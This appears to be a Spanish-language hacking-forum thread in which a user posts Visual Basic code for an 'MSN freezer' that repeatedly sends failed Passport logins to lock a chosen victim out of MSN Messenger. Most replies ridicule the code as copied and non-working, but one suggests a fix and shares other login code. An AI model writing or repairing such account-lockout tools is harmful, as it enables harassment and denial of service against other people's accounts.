 Autor
|
Tema: Compilacion de Congelador MSN. (Leído 9,265 veces)
|
g4bsk0r
 Desconectado
Mensajes: 1
|
Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje. Bueno este codigo fuente es: Public Class Form1 Private Sub Command1_Click() On Error Resume Next Winsock1.Connect("login.passport.com", 80) Timer1.Enabled = True End Sub Private Sub Timer1_Timer() On Error Resume Next Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf) Winsock1.SendData("Accept: */*" & vbCrLf) Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf) Winsock1.SendData(vbCrLf) Winsock1.SendData(vbCrLf) End Sub Private Sub Command2_Click() On Error Resume Next Timer1.Enabled = False Winsock1.Close() End Sub
El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo. Saludos y muchas gracias por la atencion !
|
|
|
|
|
En línea
|
|
|
|
skapunky
Electronik Engineer &
Colaborador
Desconectado
Mensajes: 3.667
www.killtrojan.net
|
Este fragmento de TU codigo es curioso: .....Text1.Text + ",pwd=FREEZED-BY-WHK,lc.... 
|
|
|
|
|
En línea
|
Killtrojan Syslog v1.44: ENTRAR
|
|
|
ssccaann43 ©
Desconectado
Mensajes: 792
¬¬
|
Este fragmento de TU codigo es curioso: .....Text1.Text + ",pwd=FREEZED-BY-WHK,lc.... Es exactamente ese mismo fragmento el que me huele a LAMMER
|
|
|
|
|
En línea
|
 - Miguel Núñez Todos tenemos derechos a ser estupidos, pero algunos abusan de ese privilegio... "I like ^TiFa^" |
|
|
[||HackerDark||]
Desconectado
Mensajes: 87
Aprendiend C++ y OGRE
|
dios mio esto lammer no saben ni hacer un buen Copyboy  |
|
|
|
|
En línea
|
|
|
|
|
|
ssccaann43 ©
Desconectado
Mensajes: 792
¬¬
|
Jajaja.. Ese men debe estar traumado... Pero más le vale no seguir así... |
|
|
|
|
En línea
|
- Miguel Núñez Todos tenemos derechos a ser estupidos, pero algunos abusan de ese privilegio... "I like ^TiFa^" |
|
|
ricardovinzo
Desconectado
Mensajes: 135
P.T.C
|
A parte de LAMMER y Copiado el code.. este TROZO de BASURA no SIRVE PARA NADA.. Aprende MSNP ( Messenger Protocol ) y hay posteas
|
|
|
|
|
En línea
|
3# Convocacion de Moderadores en Code Makers, entra! |
|
|
Banti
Desconectado
Mensajes: 225
NULL
|
Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje.Bueno este codigo fuente es: Public Class Form1 Private Sub Command1_Click() On Error Resume Next Winsock1.Connect("login.passport.com", 80) Timer1.Enabled = True End Sub Private Sub Timer1_Timer() On Error Resume Next Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf) Winsock1.SendData("Accept: */*" & vbCrLf) Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf) Winsock1.SendData(vbCrLf) Winsock1.SendData(vbCrLf) End Sub Private Sub Command2_Click() On Error Resume Next Timer1.Enabled = False Winsock1.Close() End Sub
El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo. Saludos y muchas gracias por la atencion ! Que aprendiste a hacer "copy and paste"... El codigo es super re contra mega sencillo... para empeorar esta en visual basic que te ayuda todo cuando tenes un misero error.
|
|
|
|
|
En línea
|
|
|
|
|
seba123neo
|
nooooooooooo...aparte el codigo es mezcla de visual basic .NET y visual basic 6.... que LAMMER.... |
|
|
|
|
En línea
|
|
|
|
m[a]rkus
Desconectado
Mensajes: 64
Si juegas a ser hacker piensa como un hacker.
|
Hola. Mira un error que vi yo es este: Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)En donde pones + Text1.Text + digamos que esta por ejemplo " pepe@hotmail.com" tienes que cambiar la "@" por "%40" podrias hacerlo de esta manera: & Replace(Text1.Text, "@", "%40") & ..... Aprovechando la duda de Vaati pongo una mia: Estoy intentando conectar a una cuenta MSN creando una especie de cliente muy basico y todo el funcionamiento me va bien hasta que tengo que conectar ah: login.passport.com 443 Segun el tutorial.... dice que tengo que enviar esto: Private Sub login_Connect()
Monitor2.Text = Monitor2.Text & "Cliente > " & " Conectado con exito al tercer servidor:" & vbCrLf
Text4.BackColor = vbGreen
login.SendData "GET/ login2.srf HTTP/1.0"
login.SendData "Accept: */* "
login.SendData "Host: login.passport.com "
login.SendData "User-Agent: GirL "
login.SendData "Authorization: Passport1.0.4 "
login.SendData "OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=hack.markus%40hotmail.es,pwd=xx0n," & Dlogin
End Sub
Y conecta y envia esos datos pero... es somo si nada.. el servidor se queda a la escucha de otra cosa parece.. Si quereis que os pegue el codigo completo me decis. |
|
|
|
|
En línea
|
Existen dos maneras de ser feliz en esta vida, una es hacerse el idiota y la otra serlo. 
|
|
|
|
 |
